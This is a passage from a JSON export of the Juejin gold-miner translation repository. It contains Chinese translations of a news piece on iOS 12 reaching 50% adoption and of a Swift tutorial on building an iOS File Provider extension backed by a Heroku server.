[Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/ios-12-now-installed-on-50-of-devices-outpacing-ios-11.md",
    "content": "> * 原文地址：[iOS 12 now installed on 50% of active devices, outpacing iOS 11 adoption](https://9to5mac.com/2018/10/06/ios-12-now-installed-on-50-of-devices-outpacing-ios-11)\n> * 原文作者：[bzamayo](https://twitter.com/bzamayo)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/ios-12-now-installed-on-50-of-devices-outpacing-ios-11.md](https://github.com/xitu/gold-miner/blob/master/TODO1/ios-12-now-installed-on-50-of-devices-outpacing-ios-11.md)\n> * 译者：[LoneyIsError](https://github.com/LoneyIsError)\n> * 校对者：[Park-ma](https://github.com/Park-ma)，[weibinzhu](https://github.com/weibinzhu)\n\n# iOS 12 占有率达到 50%，超过了 iOS 11\n\n![](https://i1.wp.com/9to5mac.com/wp-content/uploads/sites/6/2018/10/ios-12-50-percent.jpg?resize=1024%2C0&quality=82&strip=all&ssl=1)\n\n> 2018 年 9 月 17 日，苹果正式向用户推送 iOS 12 正式版系统更新。\n\nApple 本月早些时候大张旗鼓推出了 iOS 12，但早期占有率的增长似乎很缓慢。但是，在接下来的几周内，[根据 Mixpanel 的数据](https://mixpanel.com/trends/#report/ios_12/from_date:-29,report_unit:day,to_date:0)，iOS 12 的占有率实际上已超过 iOS 11。\n\n现在有超过 50％ 的正在使用的 iPhone，iPad 和 iPod touch 设备上安装了 iOS 12。iOS 11 达到这个里程碑花费了一个月的时间，而 iOS 12 在不到 20 天的时间内实现了它。\n\n许多人认为对于 iOS 系统的更新来说，iOS 11 是糟糕的一年，他们总是抱怨着系统稳定性，系统漏洞和性能方面的种种问题。苹果公司通过 iOS 12 回击了这些不满。苹果公司宣称 iOS 12 是一次性能方面的升级，特别是在较旧的 iPhone 和 iPad 设备上运行速度上有显著的提升。\n\niOS 12 支持所有可以运行 iOS 11 的设备，这意味着 iOS 12 用户群可以一直延伸到使用 iPhone 5S 的用户中。尽管起步缓慢，iOS 12 的占有率在过去几天内不断飙升，仅在 7 天内几乎翻了一番。来自社区的积极接受（并没有 iOS 漏洞成为头条新闻来搅局）肯定有助于加快用户升级。\n\n基于 Web 和移动应用综合分析得出的 Mixpanel 的统计数据，通常会比 Apple 的统计数据 — 根据 App Store 的使用情况得出当前活跃的 iOS 版本 — 有着更高的百分比。不过，苹果尚未更新其包括 iOS 12 发布后的时间表的官方统计数据（Apple 的官方数据最后一次更新于 9 月 3 日，报告称 iOS 11 的占有率高达 85％）。[去年](https://9to5mac.com/2017/11/08/ios-11-adoption-penetration/)，苹果公司的官方数据显示 iOS 11 直到 11 月才超过 50％。\n\n在可预见的未来，iOS 12 占有率的增长很可能会继续保持强劲势头。iOS 12.1 将包括一些的新功能，主要如群组 FaceTime 和 [超过 70 个新的表情](https://9to5mac.com/2018/10/02/ios-12-1-new-emoji/)，而这些新功能总是有助于激励用户升级。苹果公司还准备推出一系列预装 iOS 12 的新设备，包括新的 iPad Pro 系列和 10 月 26日 发售的 iPhone XR。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/ios-file-provider-extension-tutorial.md",
    "content": "> - 原文地址：[iOS File Provider Extension Tutorial](https://www.raywenderlich.com/697468-ios-file-provider-extension-tutorial)\n> - 原文作者：[Ryan Ackermann](https://www.raywenderlich.com/u/naturaln0va)\n> - 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> - 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/ios-file-provider-extension-tutorial.md](https://github.com/xitu/gold-miner/blob/master/TODO1/ios-file-provider-extension-tutorial.md)\n> - 译者：[iWeslie](https://github.com/iWeslie)\n> - 校对者：[swants](https://github.com/swants)\n\n# iOS 中的 File Provider 拓展\n\n在本教程中，你将学习 File Provider 拓展以及如何使用它把你 App 的内容公开出来。\n\nFile Provider 在 iOS 11 中引入，它通过 iOS 的 **文件** App 来访问你 App 管理的内容。同时其他的 App 也可以使用 [`UIDocumentBrowserViewController`](https://developer.apple.com/documentation/uikit/uidocumentbrowserviewcontroller) 或 [`UIDocumentPickerViewController`](https://developer.apple.com/documentation/uikit/uidocumentpickerviewcontroller) 来访问你 App 的数据。\n\nFile Provider 拓展的主要任务是：\n\n* 创建表示云端内容的占位文件。\n* 当有 App 访问文件内容时先对文件进行下载或上传。\n* 在更新文件后发出通知来把更新上传到服务器。\n* 枚举存储的文件和目录。\n* 对文档执行操作，例如重命名、移动或删除。\n\n你将使用 [Heroku 按钮](https://blog.heroku.com/heroku-button) 来配置托管文件的服务器。在服务器设置完成后，你需要配置扩展来对服务器的内容进行枚举。\n\n## 着手开始\n\n首先，请先 [下载资源](https://koenig-media.raywenderlich.com/uploads/2019/05/Favart-5-16-19.zip)，完成后找到 **Favart-Starter** 文件夹并打开 **Favart.xcodeproj**。确保你已选择 **Favart** 的 scheme，然后编译并运行该 App，你会看到以下内容：\n\n![The container app for your File Provider.](https://koenig-media.raywenderlich.com/uploads/2019/01/01-container-app-281x500.png)\n\n该 App 提供了一个基础的 View 来告诉用户如何启用 File Provider 扩展，因为你实际上不会在 App 内执行任何操作。每次在本教程中编译运行 App 时，你都将返回主屏幕并打开 **文件** 这个 App 来访问你的扩展。\n\n> **注意**：如果要在真机上运行该项目，除了为两个 target 设置开发者信息外，还需要在 **Configuration** 文件夹中编辑 **Favart.xcconfig**。将 Bundle ID 更新为唯一值。\n>\n> 示例项目将这个值用于两个 target 中 build setting 里的 `PRODUCT_BUNDLE_IDENTIFIER`，**Provider.entitlements** 里的 App Groups 标识符，还有 **Info.plist** 中的 `NSExtensionFileProviderDocumentGroup`。在项目中如果没有同步更新它们，你将会得到模糊并且让人没法调试的编译报错信息，而使用自定义的 build settings 将会是一个聪明的方法。\n\n示例项目中已经包含了你将用于 File Provider 扩展的基本组件：\n\n* **NetworkClient.swift** 包含用于与 Heroku 服务器通信的网络请求客户端。\n* **FileProviderExtension.swift** 就是 File Provider 拓展本身。\n* **FileProviderEnumerator.swift** 包含了枚举器，用于枚举目录的内容。\n* **Models** 是一组用来完成扩展所需的模型。\n\n## 使用 Heroku 设置后端\n\n首先，你需要一个自己的后端服务器实例。幸运的是，使用 **Heroku Button** 将很容易完成这个操作。单击下面的按钮访问 **Heroku** 的 dashboard。\n\n[![Deploy](https://www.herokucdn.com/deploy/button.svg)](https://heroku.com/deploy?template=https://github.com/naturaln0va/favart-api/tree/master)\n\n在你注册完 **Heroku** 的免费账号后，你将看到以下页面：\n\n![Deploy to Heroku](https://koenig-media.raywenderlich.com/uploads/2019/01/03-backend-deploy-setup.png)\n\n在此页面上，你可以给你的 App 取一个名字，也可以将该字段留空，**Heroku** 将为你自动生成一个名称。不必配置其他东西，现在你可以点击 **Deploy app** 按钮，一会儿之后你的后端就会启动并运行。\n\n![Deploy successful](https://koenig-media.raywenderlich.com/uploads/2019/01/02-backend-deploy-success.png)\n\n在 Heroku 完成部署 App 之后，单击底部的 **View**。这会跳转到你托管实例的后端 URL。在根目录下，你应该看到一条 JSON 数据，是你熟悉的 **Hello world!**。\n\n最后，你需要复制 **Heroku** 实例的 URL，但是只需要其中的域名部分：**{app-name}.herokuapp.com**。\n\n在 starter 项目中，打开 **Provider/NetworkClient.swift**。在文件的顶部，你应该会看到一条警告，告诉你 **Add your Heroku URL here**。删除这个警告并用你的 URL 替换 `components.host` 占位符字符串。\n\n现在你就完成了服务器配置。接下来，你将定义 File Provider 所依赖的模型。\n\n## 定义 NSFileProviderItem\n\n首先，File Provider 需要一个遵循了 `NSFileProviderItem` 协议的模型。此模型将提供有关 File Provider 所管理的文件的信息。starter 项目在 **FileProviderItem.swift** 中已经定义了 `FileProviderItem`，在使用它之前需要遵循一些协议。\n\n虽然该协议含有 27 个属性，但我们只需要其中 4 个。其他一些可选属性为 File Provider 提供有关每个文件的详细信息以及一些其他功能。在本教程中，你将用到以四个属性：`itemIdentifier`、`parentItemIdentifier`、`filename` 和 `typeIdentifier`。\n\n`itemIdentifier` 给模型提供了唯一标示符。File Provider 使用 `parentIdentifier` 来跟踪它在扩展的层次结构中的位置。\n\n`filename` 是 **文件** 里显示的 App 名字。`typeIdentifier` 是一个 [统一类型标识符（UTI）](https://developer.apple.com/library/archive/documentation/FileManagement/Conceptual/understanding_utis/understand_utis_intro/understand_utis_intro.html)。\n\n在 `FileProviderItem` 可以遵循 `NSFileProviderItem` 协议之前，它还需要一个处理来自后端数据的方法。`MediaItem` 定义了一个后端数据的简单模型。我们并不是直接在 `FileProviderItem` 中使用这个模型，而是使用 `MediaItemReference` 来处理 File Provider 扩展的一些额外逻辑从而把其中的坑填上。\n\n你将在本教程中使用 `MediaItemReference` 有两个原因：\n\n1. 在 Heroku 上托管的后端非常简洁，它无法提供 `NSFileProviderItem` 所需的所有信息，因此你需要在其他地方获取它。\n2. 这个 File Provider 扩展也很简单，更完整的 File Provider 扩展需要使用诸如 Core Data 之类的东西在本地持久化存储后端返回的数据，让它能在该扩展的生命周期结束后引用它。\n\n为了将教程的重心放到 File Provider 扩展本身上，你将使用 `MediaItemReference` 来快速入门，你需要将四个必填字段嵌入到 `URL` 对象中。然后将该 URL 编码成 `NSFilProviderItemIdentifier`。你不需要手动存储其他东西，因为 `NSFileProviderExtension` 会为你处理它。\n\n打开 **Provider/MediaItemReference.swift** 并把以下代码添加到 `MediaItemReference` 里：\n\n```swift\n// 1\nprivate let urlRepresentation: URL\n\n// 2\nprivate var isRoot: Bool {\n    return urlRepresentation.path == \"/\"\n}\n\n// 3\nprivate init(urlRepresentation: URL) {\n    self.urlRepresentation = urlRepresentation\n}\n\n// 4\ninit(path: String, filename: String) {\n    let isDirectory = filename.components(separatedBy: \".\").count == 1\n    let pathComponents = path.components(separatedBy: \"/\").filter { !$0.isEmpty } + [filename]\n\n    var absolutePath = \"/\" + pathComponents.joined(separator: \"/\")\n    if isDirectory {\n        absolutePath.append(\"/\")\n    }\n    absolutePath = absolutePath.addingPercentEncoding(withAllowedCharacters: .urlPathAllowed) ?? absolutePath\n\n    self.init(urlRepresentation: URL(string: \"itemReference://\\(absolutePath)\")!)\n}\n```\n\n以下是代码的详解：\n\n1. 在本教程中，URL 将包含 `NSFileProviderItem` 所需的大部分信息。\n2. 此计算属性判断当前项是否是文件系统的根目录。\n3. 你将此初始化方法设为私有以防止从模型外部调用。\n4. 从后端读取数据时，你将调用此初始化方法。如果文件名不包含文件后缀，则它一定是个文件夹，因为初始化方法并不能自动推断其类型。\n\n在添加最终初的始化器之前，请把文件顶部的 import 语句替换成：\n\n```swift\nimport FileProvider\n```\n\n接下来在刚刚那段代码下面添加以下初始化器：\n\n```swift\ninit?(itemIdentifier: NSFileProviderItemIdentifier) {\n    guard itemIdentifier != .rootContainer else {\n        self.init(urlRepresentation: URL(string: \"itemReference:///\")!)\n        return\n    }\n\n    guard let data = Data(base64Encoded: itemIdentifier.rawValue),\n        let url = URL(dataRepresentation: data, relativeTo: nil)\n    else {\n        return nil\n    }\n\n    self.init(urlRepresentation: url)\n}\n```\n\n大部分扩展都将使用此初始化器。注意开头的 `itemReference://`。你可以单独处理根目录的标识符以确保能正确设置其 URL 的路径。\n\n对于其他项，你可以将标识符的原始值转换为 base64 编码后的数据来检索 URL。URL 中的信息来自第一次对实例进行枚举的网络请求。\n\n既然现在初始化器已经设置好了，是时候为这个模型添加一些属性了。首先，在文件顶部添加如下 `import`：\n\n```swift\nimport MobileCoreServices\n```\n\n这将让你可以访问文件类型，在这个结构体里继续添加：\n\n```swift\n// 1\nvar itemIdentifier: NSFileProviderItemIdentifier {\n    if isRoot {\n        return .rootContainer\n    } else {\n        return NSFileProviderItemIdentifier(rawValue: urlRepresentation.dataRepresentation.base64EncodedString())\n    }\n}\n\nvar isDirectory: Bool {\n    return urlRepresentation.hasDirectoryPath\n}\n\nvar path: String {\n    return urlRepresentation.path\n}\n\nvar containingDirectory: String {\n    return urlRepresentation.deletingLastPathComponent().path\n}\n\nvar filename: String {\n    return urlRepresentation.lastPathComponent\n}\n\n// 2\nvar typeIdentifier: String {\n    guard !isDirectory else {\n        return kUTTypeFolder as String\n    }\n\n    let pathExtension = urlRepresentation.pathExtension\n    let unmanaged = UTTypeCreatePreferredIdentifierForTag(kUTTagClassFilenameExtension, pathExtension as CFString, nil)\n    let retained = unmanaged?.takeRetainedValue()\n\n    return (retained as String?) ?? \"\"\n}\n\n// 3\nvar parentReference: MediaItemReference? {\n    guard !isRoot else {\n        return nil\n    }\n    return MediaItemReference(urlRepresentation: urlRepresentation.deletingLastPathComponent())\n}\n```\n\n你需要知道记住以下几点：\n\n1. 对于 FileProvider 管理的每一项，`itemIdentifier` 必须是唯一的。如果是根目录，那么它使用 `NSFileProviderItemIdentifier.rootContainer`，否则从 URL 创建一个标识符。\n2. 这里它根据拓展路径的 URL 创建一个标识符，看上去很奇怪的 `UTTypeCreatePreferredIdentifierForTag` 实际上是一个返回给定输入的 UTI 类型的 C 函数。\n3. 在处理目录型结构时，对于父级的引用非常有用。这个属性表示了包含当前引用的文件夹。它是一个可选类型，因为根目录是没有父级的。\n\n你在此处添加了一些其他属性，这些属性不需要太多解释，但在创建 `NSFileProviderItem` 时非常有用。现在参考模型已经创建完成了，是时候把所有东西与 `FileProviderItem` 进行挂钩了。\n\n打开 **FileProviderItem.swift** 并在顶部添加：\n\n```swift\nimport FileProvider\n```\n\n然后在文件的最底部添加：\n\n```swift\n// MARK: - NSFileProviderItem\n\nextension FileProviderItem: NSFileProviderItem {\n    // 1\n    var itemIdentifier: NSFileProviderItemIdentifier {\n        return reference.itemIdentifier\n    }\n\n    var parentItemIdentifier: NSFileProviderItemIdentifier {\n        return reference.parentReference?.itemIdentifier ?? itemIdentifier\n    }\n\n    var filename: String {\n        return reference.filename\n    }\n\n    var typeIdentifier: String {\n        return reference.typeIdentifier\n    }\n\n    // 2\n    var capabilities: NSFileProviderItemCapabilities {\n        if reference.isDirectory {\n            return [.allowsReading, .allowsContentEnumerating]\n        } else {\n            return [.allowsReading]\n        }\n    }\n\n    // 3\n    var documentSize: NSNumber? {\n        return nil\n    }\n}\n```\n\n`FileProviderItem` 现在已经遵循 `NSFileProviderItem` 并实现了所有必须的属性。以上代码的详解如下：\n\n1. 大多数必须的属性映射了你之前添加到 `MediaItemReference` 的逻辑。\n2. `NSFileProviderItemCapabilities` 表示可以对文档浏览器中的项目执行哪些操作，例如读取和删除。对于该 App，你只需要允许读取和枚举目录。在实际项目中，你可能会使用 `.allowsAll`，因为用户希望所有操作都可以进行。\n3. 本教程不会用到文档的大小，把它包含在里面以防止 `NSFileProviderManager.writePlaceholder(at:withMetadata:)` 会崩溃。这可能是框架的一个错误，但是一般情况下 App 的文件扩展无论如何都会提供 `documentSize`。\n\n以上就是模型，`NSFileProviderItem` 还有更多其他属性，但是你目前实现的已经足够了。\n\n## 枚举文件\n\n现在模型已经完善好了，可以拿来使用了。你需要告诉系统你 App 里有什么内容才能向用户展示模型定义的 item。\n\n`NSFileProviderEnumerator` 定义系统和 App 内容间的关系。你稍后将看到系统是如何通过提供表示当前上下文的 `NSFileProviderItemIdentifier` 从而请求枚举器的。如果用户当前在根目录下，系统将会提供 `.rootContainer` 标识符。在其他目录下时，系统则会传入你模型定义的项目的标识符。\n\n首先，在 starter 里构建枚举器。打开 **Provider/FileProviderEnumerator.swift** 并在 `path` 下添加：\n\n```swift\nprivate var currentTask: URLSessionTask?\n```\n\n此属性将存储对当前网络请求任务的引用。这提可以让你随时取消请求。\n\n接下来把 `enumerateItems(for:startingAt:)` 里的内容替换成：\n\n```swift\nlet task = NetworkClient.shared.getMediaItems(atPath: path) { results, error in\n    guard let results = results else {\n        let error = error ?? FileProviderError.noContentFromServer\n        observer.finishEnumeratingWithError(error)\n        return\n    }\n\n    let items = results.map { mediaItem -> FileProviderItem in\n        let ref = MediaItemReference(path: self.path, filename: mediaItem.name)\n        return FileProviderItem(reference: ref)\n    }\n\n    observer.didEnumerate(items)\n    observer.finishEnumerating(upTo: nil)\n}\n\ncurrentTask = task\n```\n\n这里实现了 NetworkClient 单例获取指定路径的内容。请求成功后，枚举器的观察者通过调用 `didEnumerate` 和 `finishEnumerating(upTo:)` 来返回新的数据。通过 `finishEnumeratingWithError` 来通知枚举器的观察者请求到的结果是否有错误。\n\n> **注意**：实际的 App 可能使用分页来获取数据，这就会用到 `NSFileProviderPage` 来执行此操作。首先 App 将使用整数作为页面索引，然后将其序列化并存储在 `NSFileProviderPage` 结构体中。\n\n最后你讲把下面的内容添加到 `invalidate()` 来完成这个枚举器：\n\n```swift\ncurrentTask?.cancel()\ncurrentTask = nil\n```\n\n如果有需要，那就会取消当前的网络请求，因为有些情况下可能需要访问用户的网络状态或者当前的位置，也可能是一些一些资源的使用情况。\n\n完成该方法后，你就可以使用此枚举器访问后端服务器的数据，接下来就会进入 `FileProviderExtension` 类。\n\n打开 **Provider/FileProviderExtension.swift** 并把 `item(for:)` 的代码替换成：\n\n```swift\nguard let reference = MediaItemReference(itemIdentifier: identifier) else {\n    throw NSError.fileProviderErrorForNonExistentItem(withIdentifier: identifier)\n}\nreturn FileProviderItem(reference: reference)\n```\n\n系统会提供 identifier 参数，并且你需要给那个 identifier 返回一个 `FileProviderItem`。这个 guard 语句确保了创建的 `MediaItemReference` 是有效的。\n\n接下来，把 `urlForItem(withPersistentIdentifier:)` 和 `persistentIdentifierForItem(at:)` 替换成以下内容：\n\n```swift\n// 1\noverride func urlForItem(withPersistentIdentifier identifier: NSFileProviderItemIdentifier) -> URL? {\n    guard let item = try? item(for: identifier) else {\n        return nil\n    }\n\n    return NSFileProviderManager.default.documentStorageURL\n      .appendingPathComponent(identifier.rawValue, isDirectory: true)\n      .appendingPathComponent(item.filename)\n}\n\n// 2\noverride func persistentIdentifierForItem(at url: URL) -> NSFileProviderItemIdentifier? {\n    let identifier = url.deletingLastPathComponent().lastPathComponent\n    return NSFileProviderItemIdentifier(identifier)\n}\n```\n\n以下是代码详解：\n\n1. 验证一下来确保给定的 identifier 能解析为扩展模型的实例。然后返回一个文件 URL，它是将项目存储在文件管理器里的位置。\n2. 由 `urlForItem(withPersistentIdentifier:)` 返回的每个 URL 都需要映射回最初设置的 `NSFileProviderItemIdentifier`。在该方法中，你要以 `<documentStorageURL>/<itemIdentifier>/<filename>` 的格式构建 URL 并采用 `<itemIdentifier>` 作为标识符。\n\n现在有两个方法都需要你传入一个指向远端文件的占位符 URL 。首先你将创建一个帮助辅助方法来完成这个功能，将以下内容添加到 `providePlaceholder(at:)`：\n\n```swift\n// 1\nguard let identifier = persistentIdentifierForItem(at: url),\n    let reference = MediaItemReference(itemIdentifier: identifier)\nelse {\n    throw FileProviderError.unableToFindMetadataForPlaceholder\n}\n\n// 2\ntry fileManager.createDirectory(at: url.deletingLastPathComponent(), withIntermediateDirectories: true, attributes: nil)\n\n// 3\nlet placeholderURL = NSFileProviderManager.placeholderURL(for: url)\nlet item = FileProviderItem(reference: reference)\n\n// 4\ntry NSFileProviderManager.writePlaceholder(at: placeholderURL, withMetadata: item)\n```\n\n以上代码完成的功能如下：\n\n1. 首先你从提供的 URL 创建 identifier 和 reference。如果失败了则抛出错误。\n2. 创建占位符时，必须确保这个目录是存在的，否则就会遇到问题，使用 `NSFileManager` 来执行此操作。\n3. 这个 `url` 参数是用来显示图像的，而不是占位符。因此你要使用 `placeholderURL(for:)` 来创建占位符 URL，并获取此占位符将表示的 `NSFileProviderItem`。\n4. 将占位符写入文件系统。\n\n接下来把 `providePlaceholder(at:completionHandler:)` 的内容替换成：\n\n```swift\ndo {\n    try providePlaceholder(at: url)\n    completionHandler(nil)\n} catch {\n    completionHandler(error)\n}\n```\n\n当 File Provider 需要一个占位符 URL 时，它将调用 `providePlaceholder(at:completionHandler:)`。你将尝试使用上面的辅助方法创建占位符，如果抛出错误，则将其传递给 `completionHandler`。就像在 `providePlaceholder(at:)` 中一样，这个步骤成功之后就不需要传递任何内容，File Provider 只需要你的占位符 URL。\n\n当用户在目录下切换时，File Provider 将调用 `enumerator(for:)` 来请求给定 identifier 的 `FileProviderEnumerator`。用以下内容替换该法的内容：\n\n```swift\nif containerItemIdentifier == .rootContainer {\n    return FileProviderEnumerator(path: \"/\")\n}\n\nguard let ref = MediaItemReference(itemIdentifier: containerItemIdentifier), ref.isDirectory\nelse {\n    throw FileProviderError.notAContainer\n}\n\nreturn FileProviderEnumerator(path: ref.path)\n```\n\n此方法确保了给定 identifier 对应的是一个目录。如果是根目录，则仍然创建枚举器，因为根目录也是有效目录。\n\n编译并运行，App 启动后，打开 **文件** App，点击两次右下角的 **浏览**，你就会进入 **文件** 的根目录。选择 **更多位置**，会出现 **提供者** 或展开一个列表，点击开启你 App 的拓展。\n\n> **注意**：如果找不到 **更多位置** 展开的项目不能点击，你可以再点击一下右上角的 **编辑** 按钮。\n\n![First look at the extension.](https://koenig-media.raywenderlich.com/uploads/2019/01/04-first-enumeration-281x500.png)\n\n你现在有一个有效的 File Provider 扩展了，但是还缺少一些重要的东西，接下来你将添加它们。\n\n## 提供缩略图\n\n因为 App 会显示后端请求来的图片，因此显示出图像的缩略图非常重要，你可以重写一个方法来生成缩略图。\n\n在 `enumerator(for:)` 下面添加：\n\n```swift\n// MARK: - Thumbnails\n\noverride func fetchThumbnails(for itemIdentifiers: [NSFileProviderItemIdentifier], requestedSize size: CGSize,\n                              perThumbnailCompletionHandler: @escaping (NSFileProviderItemIdentifier, Data?, Error?) -> Void,\n                              completionHandler: @escaping (Error?) -> Void) -> Progress {\n    // 1\n    let progress = Progress(totalUnitCount: Int64(itemIdentifiers.count))\n\n    for itemIdentifier in itemIdentifiers {\n        // 2\n        let itemCompletion: (Data?, Error?) -> Void = { data, error in\n            perThumbnailCompletionHandler(itemIdentifier, data, error)\n\n            if progress.isFinished {\n                DispatchQueue.main.async {\n                    completionHandler(nil)\n                }\n            }\n        }\n\n        guard let reference = MediaItemReference(itemIdentifier: itemIdentifier), !reference.isDirectory\n        else {\n            progress.completedUnitCount += 1\n\n            let error = NSError.fileProviderErrorForNonExistentItem(withIdentifier: itemIdentifier)\n            itemCompletion(nil, error)\n            continue\n        }\n\n        let name = reference.filename\n        let path = reference.containingDirectory\n\n        // 3\n        let task = NetworkClient.shared.downloadMediaItem(named: name, at: path) { url, error in\n            guard let url = url, let data = try? Data(contentsOf: url, options: .alwaysMapped) else {\n                itemCompletion(nil, error)\n                return\n            }\n            itemCompletion(data, nil)\n        }\n\n        // 4\n        progress.addChild(task.progress, withPendingUnitCount: 1)\n    }\n\n    return progress\n}\n```\n\n虽然这种方法非常冗长，但其逻辑很简单：\n\n1. 此方法返回一个 `Progress` 对象，该对象会记录每个缩略图请求的状态。\n2. 它为每个 `itemIdentifier` 定义了一个 completion 闭包，该闭包将负责调用此方法所需的每个项的闭包以及最后调用最后一个闭包。\n3. 使用 starter 项目附带的 `NetworkClient` 将缩略图文件从服务器下载到临时文件。在下载完成后，completion handler 将下载的 `data` 传递给 `itemCompletion` 闭包。\n4. 每个下载任务都作为依赖项添加到父进程对象。\n\n> **注意**：在处理较大的数据时，为每个占位符都发出单独的网络请求可能需要耗费一些时间。因此如果可能的话，你的后端应提供单个请求中的批量下载图像方法。\n\n编译并运行。打开 **文件** 里的拓展就能看到你的缩略图了：\n\n![The thumbnails are now working.](https://koenig-media.raywenderlich.com/uploads/2019/03/thumbnails-working-281x500.png)\n\n## 显示完整图片\n\n现在当你选择一个项目时，该 App 将会显示一个没有完整图像的空白视图：\n\n![No content.](https://koenig-media.raywenderlich.com/uploads/2019/01/06-blank-view-281x500.png)\n\n到目前为止，你只实现了预览缩略图的显示，还需要添加完整图片的显示。\n\n与缩略图生成一样，让完整的图片显示只需要一个方法，即 `startProvidingItem(at:completionHandler:)`。将以下内容添加到 `FileProviderExtension` 类的底部：\n\n```swift\n// MARK: - Providing Items\n\noverride func startProvidingItem(at url: URL, completionHandler: @escaping ((_ error: Error?) -> Void)) {\n    // 1\n    guard !fileManager.fileExists(atPath: url.path) else {\n        completionHandler(nil)\n        return\n    }\n\n    // 2\n    guard let identifier = persistentIdentifierForItem(at: url), let reference = MediaItemReference(itemIdentifier: identifier) else {\n        completionHandler(FileProviderError.unableToFindMetadataForItem)\n        return\n    }\n\n    // 3\n    let name = reference.filename\n    let path = reference.containingDirectory\n    NetworkClient.shared.downloadMediaItem(named: name, at: path, isPreview: false) { fileURL, error in\n        // 4\n        guard let fileURL = fileURL else {\n            completionHandler(error)\n            return\n        }\n\n        // 5\n        do {\n            try self.fileManager.moveItem(at: fileURL, to: url)\n            completionHandler(nil)\n        } catch {\n            completionHandler(error)\n        }\n    }\n}\n```\n\n以上的代码功能是：\n\n1. 检查指定 URL 中是否已存在某项，防止再次请求相同的数据。在实际项目中，你应该检查修改日期和文件版本号，确保你获得的是最新数据。但是，在本教程中没有必要这样做，因为它并不支持版本控制。\n2. 获取相关 `URL` 的 `MediaItemReference` 来确认需要从后端请求哪个文件。\n3. 从 reference 中提取文件名称和路径，然后进行请求。\n4. 如果下载文件时出错，则把错误传给错误处理闭包。\n5. 将文件从其临时下载目录移动到扩展名指定的文档存储 URL。\n\n编译并运行，打开扩展后选择任何一张图，你可以看到完整的图片。\n\n![A full image is loaded.](https://koenig-media.raywenderlich.com/uploads/2019/01/07-full-doughnut-281x500.png)\n\n当你打开更多文件时，该扩展程序需要删除已经下载了的文件，File Provider 扩展内置了这个功能。\n\n你必须重写 `stopProvidingItem(at:)`，这样才能清理下载了的文件并提供新的占位符。在 `FileProviderExtension` 类的底部添加以下内容：\n\n```swift\noverride func stopProvidingItem(at url: URL) {\n    try? fileManager.removeItem(at: url)\n    try? providePlaceholder(at: url)\n}\n```\n\n这样就能删除图片，并调用 `providePlaceholder(at:)` 来生成一个新的占位符。\n\n以上就完成了 File Provider 的最基本功能。文件枚举，缩略图预览以及查看文件内容是此扩展的基本组件。\n\n到现在为止，你的 File Provider 的功能就齐全了。\n\n## 接下来该干嘛？\n\n你现在已经拥有了一个包含了有效的 File Provider 的 App，这个扩展程序可以枚举以及显示后端服务器的东西。\n\n你可以点击 [下载资源](https://koenig-media.raywenderlich.com/uploads/2019/05/Favart-5-16-19.zip) 来下载完整版的项目。\n\n你可以在 [Apple 关于 File Provider 的文档](https://developer.apple.com/documentation/fileprovider) 中了解更多有关 File Provider 的操作。你还可以使用其他扩展程序将自定义 UI 添加到 File Provider，你可以从 [这里](https://developer.apple.com/documentation/fileproviderui) 可以阅读到更多相关信息。\n\n如果你对其他在 iOS 上使用文件的操作感兴趣，你可以查看 的更多方式感兴趣，请查看 [基于文档的 App](https://www.raywenderlich.com/5244-document-based-apps-tutorial-getting-started)。\n\n希望你喜欢这个教程！如果你有任何问题或意见，可以加入 [原文](https://www.raywenderlich.com/697468-ios-file-provider-extension-tutorial) 最下面的讨论组。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n------\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/ios-how-to-build-a-table-view-with-multiple-cell-types.md",
